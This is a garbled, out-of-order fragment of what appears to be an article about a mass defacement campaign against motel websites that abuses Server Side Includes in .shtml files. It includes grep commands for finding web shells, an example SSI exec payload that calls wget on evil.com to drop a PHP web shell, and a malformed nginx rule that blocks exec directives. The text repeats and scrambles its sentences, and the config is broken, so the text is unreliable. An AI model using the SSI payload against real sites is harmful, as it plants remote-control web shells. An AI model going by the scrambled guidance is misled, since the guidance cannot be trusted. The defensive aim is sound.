grep -Rl "eval(" --include="*.php" . grep -Rl "system(" --include="*.php" . grep -Rl "passthru" --include="*.php" . grep -Rl "shell_exec" --include="*.php" . Attackers often hide backlinks or redirects here.
The attacker then injects a malicious SSI directive into the file. A common payload: <!--#exec cmd="wget http://evil.com/shell.txt -O /home/public/shell.php" --> This downloads a PHP web shell (often named something innocuous like image.php or css.php ). inurl view index shtml motel fix
location ~ \.shtml$ ssi off; # Or, if you must keep SSI: ssi on; # But disable exec using a module like ngx_http_ssi_filter_module # Nginx does not support exec by default, so the real risk is low. # However, reject any request with <!--#exec if ($request_body ~ "<!--#exec") return 403; if ($args ~ "<!--#exec") return 403; grep -Rl "eval(" --include="*
cd /var/www/html/
The full keyword represents a mass defacement campaign targeting motel websites running outdated SHTML scripts that allow remote command execution. Part 2: The Anatomy of the Attack How does the "Motel SHTML" hack work? The attack flow is simple, automated, and devastating for small businesses. grep -Rl "shell_exec" --include="*